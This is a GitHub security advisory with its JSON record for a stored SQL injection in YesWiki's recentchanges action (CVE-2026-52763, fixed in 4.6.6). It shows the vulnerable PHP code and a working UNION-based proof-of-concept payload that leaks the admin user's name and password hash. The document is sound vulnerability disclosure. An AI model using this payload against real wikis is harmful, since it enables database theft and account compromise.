GHSA-89V6-J5X6-CMJ3
Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54Summary
The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.
The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.
Details
Two issues compose the vulnerability.
actions/recentchanges.phpline 33 reads the action argument and skips the whitelist.
php
if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) {
switch ($_GET['period']) {
case 'day': $d = strtotime('-1 day'); $dateMin = date('Y-m-d H:i:s', $d); break;
case 'week': $d = strtotime('-1 week'); $dateMin = date('Y-m-d H:i:s', $d); break;
case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break;
}
} else {
$dateMin = $this->GetParameter('period');
}
Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.
- In
includes/services/PageManager.php,PageManager::getRecentlyChanged()interpolates the value into SQL.
php
public function getRecentlyChanged($limit = 50, $minDate = ''): ?array
{
if (!empty($minDate)) {
if ($pages = $this->dbService->loadAll(
'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages')
. "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc"
)) {
return $pages;
}
}
}
$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.
The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.
PoC
Default fresh install so default_write_acl='*'.
1. place the SQLi payload on a page
{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}
The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.
- anyone visits the page
GET /?<TriggerPage> HTTP/1.1
Host: target.example
The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).
Impact
Arbitrary read of any DB column the application's MySQL user can access.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52763"
],
"database_specific": {
"cwe_ids": [
"CWE-1287",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T20:54:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `recentchanges` action (`actions/recentchanges.php`) accepts a `period` argument from two disjoint parameter spaces: the URL query string (`$_GET[\u0027period\u0027]`) and the action invocation `{{recentchanges period=\"...\"}}`. A whitelist at line 17 validates only the URL form against `[\u0027day\u0027,\u0027week\u0027,\u0027month\u0027]`. The action-argument form takes the `else` branch at line 33 (`$dateMin = $this-\u003eGetParameter(\u0027period\u0027)`) with no validation, and the value flows into `PageManager::getRecentlyChanged()` (`includes/services/PageManager.php:196`), where it is interpolated into a `WHERE time \u003e= \u0027...\u0027 ORDER BY time DESC` clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via `actions/recentchanges.php:43,58` (`ComposeLinkToPage($page[\u0027tag\u0027])`), so any visitor of the trigger page sees the exfiltrated data.\n\nThe vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (`default_write_acl=\u0027*\u0027`), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.\n\n### Details\n\nTwo issues compose the vulnerability.\n\n1. `actions/recentchanges.php` line 33 reads the action argument and skips the whitelist.\n\n ```php\n if (isset($_GET[\u0027period\u0027]) \u0026\u0026 in_array($_GET[\u0027period\u0027], [\u0027day\u0027, \u0027week\u0027, \u0027month\u0027])) {\n switch ($_GET[\u0027period\u0027]) {\n case \u0027day\u0027: $d = strtotime(\u0027-1 day\u0027); $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n case \u0027week\u0027: $d = strtotime(\u0027-1 week\u0027); $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n case \u0027month\u0027: $d = strtotime(\u0027-1 month\u0027); $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n }\n } else {\n $dateMin = $this-\u003eGetParameter(\u0027period\u0027); \n }\n ```\n\n `Wiki::GetParameter()` (`includes/YesWiki.php:895`) reads `$this-\u003eparameter[$key]`, which is populated from the `{{action key=value}}` argument list \u2014 disjoint from `$_GET`. The whitelist\u0027s `if` branch only runs when `$_GET[\u0027period\u0027]` matches one of three exact values; in every other case the `else` branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.\n\n2. In `includes/services/PageManager.php`, `PageManager::getRecentlyChanged()` interpolates the value into SQL.\n\n ```php\n public function getRecentlyChanged($limit = 50, $minDate = \u0027\u0027): ?array\n {\n if (!empty($minDate)) {\n if ($pages = $this-\u003edbService-\u003eloadAll(\n \u0027select id, tag, time, user, owner from\u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027)\n . \"where latest = \u0027Y\u0027 and comment_on = \u0027\u0027 and time \u003e= \u0027$minDate\u0027 order by time desc\"\n )) {\n return $pages;\n }\n }\n }\n ```\n\n `$minDate` is interpolated raw into the query and there is no `$this-\u003edbService-\u003eescape($minDate)` and no parameter binding and no format check.\n\nThe default action ACL for `recentchanges` is `*` (`includes/YesWiki.php:1100`, `GetModuleACL`), so `Performer::CheckModuleACL(\u0027recentchanges\u0027, \u0027action\u0027)` returns `true` for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious `period` argument.\n\n### PoC\n\nDefault fresh install so `default_write_acl=\u0027*\u0027`.\n1. place the SQLi payload on a page\n\n```\n{{recentchanges period=\"2000-01-01\u0027 UNION SELECT 9999 AS id, CONCAT(\u0027LEAK_\u0027, name, \u0027_\u0027, SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name=\u0027AdminUser\u0027 -- \"}}\n```\n\nThe five UNION columns match the `id, tag, time, user, owner` projection that `getRecentlyChanged` selects. The `tag` column is rendered into the response as a hyperlink, exfiltrating the leaked data.\n\n2. anyone visits the page\n\n```http\nGET /?\u003cTriggerPage\u003e HTTP/1.1\nHost: target.example\n```\n\nThe injected query executes server-side; the `tag` column is rendered into the page in `actions/recentchanges.php:43,58` via `ComposeLinkToPage($page[\u0027tag\u0027])`.\n\n### Impact\n\nArbitrary read of any DB column the application\u0027s MySQL user can access.",
"id": "GHSA-89v6-j5x6-cmj3",
"modified": "2026-07-09T20:54:46Z",
"published": "2026-07-09T20:54:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-89v6-j5x6-cmj3"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/5da27474c3ee62270c8a6b9d7055d494cdbd38e5"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.